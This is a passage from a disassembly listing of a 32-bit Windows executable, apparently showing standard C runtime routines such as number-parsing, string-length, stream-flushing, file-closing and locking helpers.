		mov	ecx, [ebp+var_58]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], ecx
		jmp	loc_415EEB
; ---------------------------------------------------------------------------


loc_415E31:				; CODE XREF: sub_41554C+7E4j
		cmp	[ebp+var_4C], 0
		jnz	loc_415EE2


loc_415E3B:				; CODE XREF: sub_41554C+98Dj
		cmp	edi, 78h
		jz	short loc_415E6D
		cmp	edi, 70h
		jz	short loc_415E6D
		push	ebx
		call	sub_41ABBC
		pop	ecx
		test	eax, eax
		jz	short loc_415E8F
		cmp	edi, 6Fh
		jnz	short loc_415E60
		cmp	ebx, 38h
		jge	short loc_415E8F
		shl	[ebp+var_38], 3
		jmp	short loc_415E92
; ---------------------------------------------------------------------------


loc_415E60:				; CODE XREF: sub_41554C+907j
		mov	eax, [ebp+var_38]
		lea	eax, [eax+eax*4]
		shl	eax, 1
		mov	[ebp+var_38], eax
		jmp	short loc_415E92
; ---------------------------------------------------------------------------


loc_415E6D:				; CODE XREF: sub_41554C+8F2j
					; sub_41554C+8F7j
		push	ebx
		call	sub_41ABF6
		pop	ecx
		test	eax, eax
		jz	short loc_415E8F
		shl	[ebp+var_38], 4
		push	ebx
		call	sub_41ABBC
		pop	ecx
		test	eax, eax
		jnz	short loc_415E92
		and	ebx, 0FFFFFFDFh
		sub	ebx, 7
		jmp	short loc_415E92
; ---------------------------------------------------------------------------


loc_415E8F:				; CODE XREF: sub_41554C+902j
					; sub_41554C+90Cj ...
		inc	[ebp+var_4C]


loc_415E92:				; CODE XREF: sub_41554C+912j
					; sub_41554C+91Fj ...
		cmp	[ebp+var_4C], 0
		jnz	short loc_415EC4
		inc	[ebp+var_40]
		mov	eax, [ebp+var_38]
		lea	eax, [eax+ebx-30h]
		mov	[ebp+var_38], eax
		cmp	[ebp+var_44], 0
		jz	short loc_415EB6
		dec	[ebp+var_48]
		jnz	short loc_415EB6
		mov	[ebp+var_4C], 1
		jmp	short loc_415ED5
; ---------------------------------------------------------------------------


loc_415EB6:				; CODE XREF: sub_41554C+95Dj
					; sub_41554C+962j
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_415536
		mov	ebx, eax
		jmp	short loc_415ED5
; ---------------------------------------------------------------------------


loc_415EC4:				; CODE XREF: sub_41554C+94Aj
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_415ED5
		push	esi
		push	ebx
		call	sub_41AC6F
		pop	ecx
		pop	ecx


loc_415ED5:				; CODE XREF: sub_41554C+968j
					; sub_41554C+976j ...
		cmp	[ebp+var_4C], 0
		jz	loc_415E3B
		mov	[ebp+var_28], ebx


loc_415EE2:				; CODE XREF: sub_41554C+8E9j
		cmp	[ebp+var_4A], 0
		jz	short loc_415EEB
		neg	[ebp+var_38]


loc_415EEB:				; CODE XREF: sub_41554C+8C7j
					; sub_41554C+8E0j ...
		cmp	edi, 46h
		jnz	short loc_415EF4
		and	[ebp+var_40], 0


loc_415EF4:				; CODE XREF: sub_41554C+9A2j
		cmp	[ebp+var_40], 0
		jz	loc_415FB9
		cmp	[ebp+var_4B], 0
		jnz	short loc_415F2D
		inc	[ebp+var_34]
		mov	ebx, [ebp+var_64]
		mov	eax, [ebp+var_38]


loc_415F0D:				; CODE XREF: sub_41554C+259j
		cmp	[ebp+var_54], 0
		jz	short loc_415F20
		mov	eax, [ebp+var_5C]
		mov	[ebx], eax
		mov	eax, [ebp+var_58]
		mov	[ebx+4], eax
		jmp	short loc_415F2D
; ---------------------------------------------------------------------------


loc_415F20:				; CODE XREF: sub_41554C+9C5j
		cmp	[ebp+var_4F], 0
		jz	short loc_415F2A
		mov	[ebx], eax
		jmp	short loc_415F2D
; ---------------------------------------------------------------------------


loc_415F2A:				; CODE XREF: sub_41554C+9D8j
		mov	[ebx], ax


loc_415F2D:				; CODE XREF: sub_41554C+25Fj
					; sub_41554C+3F1j ...
		inc	[ebp+var_29]
		inc	[ebp+arg_4]
		jmp	short loc_415F9D
; ---------------------------------------------------------------------------


loc_415F35:				; CODE XREF: sub_41554C+90j
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_415536
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		movzx	eax, byte ptr [esi]
		inc	esi
		mov	[ebp+arg_4], esi
		cmp	eax, ebx
		jnz	short loc_415F86
		movzx	eax, bl
		mov	ecx, off_42CE30
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_415F9D
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_415536
		movzx	ecx, byte ptr [esi]
		inc	esi
		mov	[ebp+arg_4], esi
		cmp	ecx, eax
		jz	short loc_415F9A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_415F86
		push	[ebp+arg_0]
		push	eax
		call	sub_41AC6F
		pop	ecx
		pop	ecx


loc_415F86:				; CODE XREF: sub_41554C+A02j
					; sub_41554C+A2Dj
		cmp	ebx, 0FFFFFFFFh


loc_415F89:				; CODE XREF: sub_41554C+471j
		jz	short loc_415FB9
		push	[ebp+arg_0]
		push	[ebp+var_28]
		call	sub_41AC6F
		pop	ecx
		pop	ecx
		jmp	short loc_415FB9
; ---------------------------------------------------------------------------


loc_415F9A:				; CODE XREF: sub_41554C+A28j
		dec	[ebp+var_30]


loc_415F9D:				; CODE XREF: sub_41554C+9E7j
					; sub_41554C+A12j
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	loc_41557A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	25h
		jnz	short loc_415FB9
		cmp	byte ptr [eax+1], 6Eh
		jz	loc_41557A


loc_415FB9:				; CODE XREF: sub_41554C+35j
					; sub_41554C+3E7j ...
		cmp	[ebp+var_24], 1
		jnz	short loc_415FC8
		push	[ebp+var_20]
		call	sub_412FE4
		pop	ecx


loc_415FC8:				; CODE XREF: sub_41554C+A71j
		mov	eax, [ebp+var_34]
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_415FDD
		test	eax, eax
		jnz	short loc_415FDD
		cmp	[ebp+var_29], al
		jnz	short loc_415FDD
		or	eax, 0FFFFFFFFh


loc_415FDD:				; CODE XREF: sub_41554C+A83j
					; sub_41554C+A87j ...
		lea	esp, [ebp-1E4h]
		mov	ecx, [ebp+var_1C]
		xor	ecx, [ebp+4]
		call	sub_4182D6
		call	__SEH_epilog
		retn
sub_41554C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416000	proc near		; CODE XREF: sub_412D93+17p
					; sub_414004+D2p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_416030


loc_41600C:				; CODE XREF: sub_416000+1Bj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_416063
		test	ecx, 3
		jnz	short loc_41600C
		add	eax, 0
		lea	esp, [esp+0]
		lea	esp, [esp+0]


loc_416030:				; CODE XREF: sub_416000+Aj
					; sub_416000+46j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_416030
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_416081
		test	ah, ah
		jz	short loc_416077
		test	eax, 0FF0000h
		jz	short loc_41606D
		test	eax, 0FF000000h
		jz	short loc_416063
		jmp	short loc_416030
; ---------------------------------------------------------------------------


loc_416063:				; CODE XREF: sub_416000+13j
					; sub_416000+5Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41606D:				; CODE XREF: sub_416000+58j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_416077:				; CODE XREF: sub_416000+51j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_416081:				; CODE XREF: sub_416000+4Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_416000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41608B	proc near		; CODE XREF: sub_412EBA+2Ap
					; sub_41364A+37p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		mov	ecx, [ebp+arg_0]
		ja	short loc_4160A9
		mov	ecx, [ecx+48h]
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_4160FD
; ---------------------------------------------------------------------------


loc_4160A9:				; CODE XREF: sub_41608B+13j
		push	esi
		mov	edx, eax
		sar	edx, 8
		push	edi
		mov	edi, [ecx+48h]
		movzx	esi, dl
		test	byte ptr [edi+esi*2+1],	80h
		pop	edi
		pop	esi
		jz	short loc_4160CE
		and	[ebp+var_2], 0
		push	2
		mov	[ebp+var_3], al
		mov	[ebp+var_4], dl
		pop	eax
		jmp	short loc_4160D8
; ---------------------------------------------------------------------------


loc_4160CE:				; CODE XREF: sub_41608B+32j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		xor	eax, eax
		inc	eax


loc_4160D8:				; CODE XREF: sub_41608B+41j
		push	1
		push	dword ptr [ecx+14h]
		push	dword ptr [ecx+4]
		lea	ecx, [ebp+arg_4+2]
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41AF01
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4160F9
		leave
		retn
; ---------------------------------------------------------------------------


loc_4160F9:				; CODE XREF: sub_41608B+6Aj
		movzx	eax, word ptr [ebp+arg_4+2]


loc_4160FD:				; CODE XREF: sub_41608B+1Cj
		and	eax, [ebp+arg_8]
		leave
		retn
sub_41608B	endp


; =============== S U B	R O U T	I N E =======================================



sub_416102	proc near		; CODE XREF: sub_4161CC+B7p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+3Ch]
		push	edi
		xor	edi, edi
		cmp	eax, dword_47A148
		jz	short loc_416178
		cmp	eax, edi
		jz	short loc_416178
		mov	eax, [esi+2Ch]
		cmp	[eax], edi
		jnz	short loc_416178
		mov	eax, [esi+34h]
		cmp	eax, edi
		jz	short loc_416143
		cmp	[eax], edi
		jnz	short loc_416143
		cmp	eax, dword_47A2C0
		jz	short loc_416143
		push	eax
		call	sub_412FE4
		push	dword ptr [esi+3Ch]
		call	sub_41B2AA
		pop	ecx
		pop	ecx


loc_416143:				; CODE XREF: sub_416102+23j
					; sub_416102+27j ...
		mov	eax, [esi+30h]
		cmp	eax, edi
		jz	short loc_416166
		cmp	[eax], edi
		jnz	short loc_416166
		cmp	eax, dword_47A2C4
		jz	short loc_416166
		push	eax
		call	sub_412FE4
		push	dword ptr [esi+3Ch]
		call	sub_41B24B
		pop	ecx
		pop	ecx


loc_416166:				; CODE XREF: sub_416102+46j
					; sub_416102+4Aj ...
		push	dword ptr [esi+2Ch]
		call	sub_412FE4
		push	dword ptr [esi+3Ch]
		call	sub_412FE4
		pop	ecx
		pop	ecx


loc_416178:				; CODE XREF: sub_416102+11j
					; sub_416102+15j ...
		mov	eax, [esi+40h]
		cmp	eax, dword_47A2BC
		jz	short loc_41619B
		cmp	eax, edi
		jz	short loc_41619B
		cmp	[eax], edi
		jnz	short loc_41619B
		push	eax
		call	sub_412FE4
		push	dword ptr [esi+44h]
		call	sub_412FE4
		pop	ecx
		pop	ecx


loc_41619B:				; CODE XREF: sub_416102+7Fj
					; sub_416102+83j ...
		mov	eax, [esi+50h]
		cmp	eax, dword_47A144
		jz	short loc_4161C2
		cmp	eax, edi
		jz	short loc_4161C2
		cmp	[eax+0B4h], edi
		jnz	short loc_4161C2
		push	eax
		call	sub_41B0BB
		push	dword ptr [esi+50h]
		call	sub_412FE4
		pop	ecx
		pop	ecx


loc_4161C2:				; CODE XREF: sub_416102+A2j
					; sub_416102+A6j ...
		push	esi
		call	sub_412FE4
		pop	ecx
		pop	edi
		pop	esi
		retn
sub_416102	endp


; =============== S U B	R O U T	I N E =======================================



sub_4161CC	proc near		; CODE XREF: sub_41628E+18p
		push	esi
		call	sub_415456
		mov	esi, eax
		mov	eax, [esi+64h]
		cmp	eax, off_42C7BC
		jz	loc_416289
		test	eax, eax
		jz	short loc_416216
		mov	ecx, [eax+2Ch]
		dec	dword ptr [eax]
		test	ecx, ecx
		jz	short loc_4161F2
		dec	dword ptr [ecx]


loc_4161F2:				; CODE XREF: sub_4161CC+22j
		mov	ecx, [eax+34h]
		test	ecx, ecx
		jz	short loc_4161FB
		dec	dword ptr [ecx]


loc_4161FB:				; CODE XREF: sub_4161CC+2Bj
		mov	ecx, [eax+30h]
		test	ecx, ecx
		jz	short loc_416204
		dec	dword ptr [ecx]


loc_416204:				; CODE XREF: sub_4161CC+34j
		mov	ecx, [eax+40h]
		test	ecx, ecx
		jz	short loc_41620D
		dec	dword ptr [ecx]


loc_41620D:				; CODE XREF: sub_4161CC+3Dj
		mov	ecx, [eax+4Ch]
		dec	dword ptr [ecx+0B4h]


loc_416216:				; CODE XREF: sub_4161CC+19j
		mov	ecx, off_42C7BC
		mov	[esi+64h], ecx
		mov	ecx, off_42C7BC
		inc	dword ptr [ecx]
		mov	ecx, off_42C7BC
		mov	ecx, [ecx+2Ch]
		test	ecx, ecx
		jz	short loc_416236
		inc	dword ptr [ecx]


loc_416236:				; CODE XREF: sub_4161CC+66j
		mov	ecx, off_42C7BC
		mov	ecx, [ecx+34h]
		test	ecx, ecx
		jz	short loc_416245
		inc	dword ptr [ecx]


loc_416245:				; CODE XREF: sub_4161CC+75j
		mov	ecx, off_42C7BC
		mov	ecx, [ecx+30h]
		test	ecx, ecx
		jz	short loc_416254
		inc	dword ptr [ecx]


loc_416254:				; CODE XREF: sub_4161CC+84j
		mov	ecx, off_42C7BC
		mov	ecx, [ecx+40h]
		test	ecx, ecx
		jz	short loc_416263
		inc	dword ptr [ecx]


loc_416263:				; CODE XREF: sub_4161CC+93j
		mov	ecx, off_42C7BC
		mov	ecx, [ecx+4Ch]
		inc	dword ptr [ecx+0B4h]
		test	eax, eax
		jz	short loc_416289
		cmp	dword ptr [eax], 0
		jnz	short loc_416289
		cmp	eax, offset dword_42C768
		jz	short loc_416289
		push	eax
		call	sub_416102
		pop	ecx


loc_416289:				; CODE XREF: sub_4161CC+11j
					; sub_4161CC+A8j ...
		mov	eax, [esi+64h]
		pop	esi
		retn
sub_4161CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41628E	proc near		; CODE XREF: sub_412EBA+12p
					; sub_41364A+17p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_427A08
		call	__SEH_prolog
		push	0Ch
		call	sub_416901
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		call	sub_4161CC
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4162C0
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_41628E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4162C0	proc near		; CODE XREF: sub_41628E+24p
					; DATA XREF: .rdata:stru_427A08o
		push	0Ch
		call	sub_41686D
		pop	ecx
		retn
sub_4162C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4162D0	proc near		; CODE XREF: sub_41554C+832p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_4162E9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_4162E9:				; CODE XREF: sub_4162D0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_4162D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_416304	proc near		; CODE XREF: sub_416387+4Cp
					; sub_41BFAD+2DCp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_41B76B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_416352
		cmp	esi, 1
		jz	short loc_416320
		cmp	esi, 2
		jnz	short loc_416336


loc_416320:				; CODE XREF: sub_416304+15j
		push	2
		call	sub_41B76B
		push	1
		mov	edi, eax
		call	sub_41B76B
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jz	short loc_416352


loc_416336:				; CODE XREF: sub_416304+1Aj
		push	esi
		call	sub_41B76B
		pop	ecx
		push	eax
		call	ds:dword_41F034	; CloseHandle
		test	eax, eax
		jnz	short loc_416352
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	edi, eax
		jmp	short loc_416354
; ---------------------------------------------------------------------------


loc_416352:				; CODE XREF: sub_416304+10j
					; sub_416304+30j ...
		xor	edi, edi


loc_416354:				; CODE XREF: sub_416304+4Cj
		push	esi
		call	sub_41B6EC
		mov	eax, esi
		sar	eax, 5
		mov	eax, dword_47A2E0[eax*4]
		and	esi, 1Fh
		pop	ecx
		lea	ecx, [esi+esi*8]
		and	byte ptr [eax+ecx*4+4],	0
		test	edi, edi
		jz	short loc_416382
		push	edi
		call	sub_417C82
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_416384
; ---------------------------------------------------------------------------


loc_416382:				; CODE XREF: sub_416304+70j
		xor	eax, eax


loc_416384:				; CODE XREF: sub_416304+7Cj
		pop	edi
		pop	esi
		retn
sub_416304	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416387	proc near		; CODE XREF: sub_412F47+20p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00416406 SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_427A18
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_47A2C8
		jnb	short loc_416406
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:47A2E0h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_416406
		push	ebx
		call	sub_41B7AC
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_4163DE
		push	ebx
		call	sub_416304
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_4163ED
; ---------------------------------------------------------------------------


loc_4163DE:				; CODE XREF: sub_416387+49j
		call	sub_417C70
		mov	dword ptr [eax], 9
		or	[ebp+var_1C], 0FFFFFFFFh


loc_4163ED:				; CODE XREF: sub_416387+55j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4163FE
		mov	eax, [ebp+var_1C]
		jmp	short loc_41641C
sub_416387	endp


; =============== S U B	R O U T	I N E =======================================



sub_4163FB	proc near		; DATA XREF: .rdata:stru_427A18o
		mov	ebx, [ebp+8]
sub_4163FB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4163FE	proc near		; CODE XREF: sub_416387+6Ap
		push	ebx
		call	sub_41B81F
		pop	ecx
		retn
sub_4163FE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_416387


loc_416406:				; CODE XREF: sub_416387+15j
					; sub_416387+35j
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_41641C:				; CODE XREF: sub_416387+72j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_416387

; =============== S U B	R O U T	I N E =======================================



sub_416422	proc near		; CODE XREF: sub_412F47+18p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41644B
		test	al, 8
		jz	short loc_41644B
		push	dword ptr [esi+8]
		call	sub_412FE4
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41644B:				; CODE XREF: sub_416422+Aj
					; sub_416422+Ej
		pop	esi
		retn
sub_416422	endp


; =============== S U B	R O U T	I N E =======================================



sub_41644D	proc near		; CODE XREF: sub_412F47+10p
					; sub_414809+38p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	cl, 3
		xor	ebx, ebx
		cmp	cl, 2
		jnz	short loc_41649C
		test	ax, 108h
		jz	short loc_41649C
		mov	eax, [esi+8]
		push	edi
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41649B
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41A961
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_416494
		mov	eax, [esi+0Ch]
		test	al, al
		jns	short loc_41649B
		and	eax, 0FFFFFFFDh
		mov	[esi+0Ch], eax
		jmp	short loc_41649B
; ---------------------------------------------------------------------------


loc_416494:				; CODE XREF: sub_41644D+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41649B:				; CODE XREF: sub_41644D+25j
					; sub_41644D+3Dj ...
		pop	edi


loc_41649C:				; CODE XREF: sub_41644D+13j
					; sub_41644D+19j
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_41644D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4164AA	proc near		; CODE XREF: sub_4164D8+67p
					; sub_4164D8+82p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_41644D
		test	eax, eax
		pop	ecx
		jz	short loc_4164BF
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4164BF:				; CODE XREF: sub_4164AA+Ej
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_4164D4
		push	dword ptr [esi+10h]
		call	sub_41B98E
		pop	ecx
		neg	eax
		sbb	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4164D4:				; CODE XREF: sub_4164AA+19j
		xor	eax, eax
		pop	esi
		retn
sub_4164AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4164D8	proc near		; CODE XREF: sub_4165AD+2p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00416589 SIZE 0000001B BYTES

		push	14h
		push	offset stru_427A28
		call	__SEH_prolog
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_20], edi
		push	1
		call	sub_416901
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		xor	esi, esi


loc_4164F9:				; CODE XREF: sub_4164D8+99j
		mov	[ebp+var_24], esi
		cmp	esi, dword_47B660
		jge	loc_416589
		mov	eax, dword_47A644
		mov	eax, [eax+esi*4]
		cmp	eax, edi
		jz	short loc_416570
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_416570
		push	eax
		push	esi
		call	sub_4166A2
		pop	ecx
		pop	ecx
		xor	edx, edx
		inc	edx
		mov	[ebp+ms_exc.disabled], edx
		mov	eax, dword_47A644
		mov	eax, [eax+esi*4]
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_416568
		cmp	[ebp+arg_0], edx
		jnz	short loc_41654F
		push	eax
		call	sub_4164AA
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416568
		inc	[ebp+var_1C]
		jmp	short loc_416568
; ---------------------------------------------------------------------------


loc_41654F:				; CODE XREF: sub_4164D8+64j
		cmp	[ebp+arg_0], edi
		jnz	short loc_416568
		test	cl, 2
		jz	short loc_416568
		push	eax
		call	sub_4164AA
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416568
		or	[ebp+var_20], eax


loc_416568:				; CODE XREF: sub_4164D8+5Fj
					; sub_4164D8+70j ...
		mov	[ebp+ms_exc.disabled], edi
		call	sub_416578


loc_416570:				; CODE XREF: sub_4164D8+3Aj
					; sub_4164D8+40j
		inc	esi
		jmp	short loc_4164F9
sub_4164D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_416573	proc near		; DATA XREF: .rdata:00427A3Co
		xor	edi, edi
		mov	esi, [ebp-24h]
sub_416573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416578	proc near		; CODE XREF: sub_4164D8+93p
		mov	eax, dword_47A644
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_4166F4
		pop	ecx
		pop	ecx
		retn
sub_416578	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4164D8


loc_416589:				; CODE XREF: sub_4164D8+2Aj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4165A4
		cmp	[ebp+arg_0], 1
		mov	eax, [ebp+var_1C]
		jz	short loc_41659E
		mov	eax, [ebp+var_20]


loc_41659E:				; CODE XREF: sub_4164D8+C1j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_4164D8

; =============== S U B	R O U T	I N E =======================================



sub_4165A4	proc near		; CODE XREF: sub_4164D8+B5p
					; DATA XREF: .rdata:stru_427A28o
		push	1
		call	sub_41686D
		pop	ecx
		retn
sub_4165A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4165AD	proc near		; CODE XREF: sub_41665Fp
		push	1
		call	sub_4164D8
		pop	ecx
		retn
sub_4165AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4165B6	proc near		; DATA XREF: .data:0042A010o
		mov	eax, dword_47B660
		test	eax, eax
		push	esi
		push	14h
		pop	esi
		jnz	short loc_4165CA
		mov	eax, 200h
		jmp	short loc_4165D0
; ---------------------------------------------------------------------------


loc_4165CA:				; CODE XREF: sub_4165B6+Bj
		cmp	eax, esi
		jge	short loc_4165D5
		mov	eax, esi


loc_4165D0:				; CODE XREF: sub_4165B6+12j
		mov	dword_47B660, eax


loc_4165D5:				; CODE XREF: sub_4165B6+16j
		push	4
		push	eax
		call	sub_41AB01
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword_47A644, eax
		jnz	short loc_416606
		push	4
		push	esi
		mov	dword_47B660, esi
		call	sub_41AB01
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword_47A644, eax
		jnz	short loc_416606
		push	1Ah
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_416606:				; CODE XREF: sub_4165B6+30j
					; sub_4165B6+49j
		xor	edx, edx
		mov	ecx, offset off_42C900
		jmp	short loc_416614
; ---------------------------------------------------------------------------


loc_41660F:				; CODE XREF: sub_4165B6+6Dj
		mov	eax, dword_47A644


loc_416614:				; CODE XREF: sub_4165B6+57j
		mov	[edx+eax], ecx
		add	ecx, 20h
		add	edx, 4
		cmp	ecx, offset dword_42CB80
		jl	short loc_41660F
		xor	ecx, ecx
		mov	edx, offset dword_42C910


loc_41662C:				; CODE XREF: sub_4165B6+A3j
		mov	esi, ecx
		mov	eax, ecx
		and	eax, 1Fh
		sar	esi, 5
		mov	esi, dword_47A2E0[esi*4]
		lea	eax, [eax+eax*8]
		mov	eax, [esi+eax*4]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41664C
		test	eax, eax
		jnz	short loc_41664F


loc_41664C:				; CODE XREF: sub_4165B6+90j
		or	dword ptr [edx], 0FFFFFFFFh


loc_41664F:				; CODE XREF: sub_4165B6+94j
		add	edx, 20h
		inc	ecx
		cmp	edx, offset dword_42C970
		jl	short loc_41662C
		xor	eax, eax
		pop	esi
		retn
sub_4165B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41665F	proc near		; DATA XREF: .data:0042A02Co

; FUNCTION CHUNK AT 0041BA4A SIZE 00000092 BYTES

		call	sub_4165AD
		cmp	byte_479E94, 0
		jz	short locret_416672
		jmp	loc_41BA4A
; ---------------------------------------------------------------------------

locret_416672:				; CODE XREF: sub_41665F+Cj
		retn
sub_41665F	endp


; =============== S U B	R O U T	I N E =======================================



sub_416673	proc near		; CODE XREF: sub_412F93+27p
					; sub_41313E+Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_42C900
		cmp	eax, ecx
		jb	short loc_416697
		cmp	eax, offset dword_42CB60
		ja	short loc_416697
		sub	eax, ecx
		sar	eax, 5
		add	eax, 10h
		push	eax
		call	sub_416901
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_416697:				; CODE XREF: sub_416673+Bj
					; sub_416673+12j
		add	eax, 20h
		push	eax
		call	ds:dword_41F01C	; RtlEnterCriticalSection
		retn
sub_416673	endp


; =============== S U B	R O U T	I N E =======================================



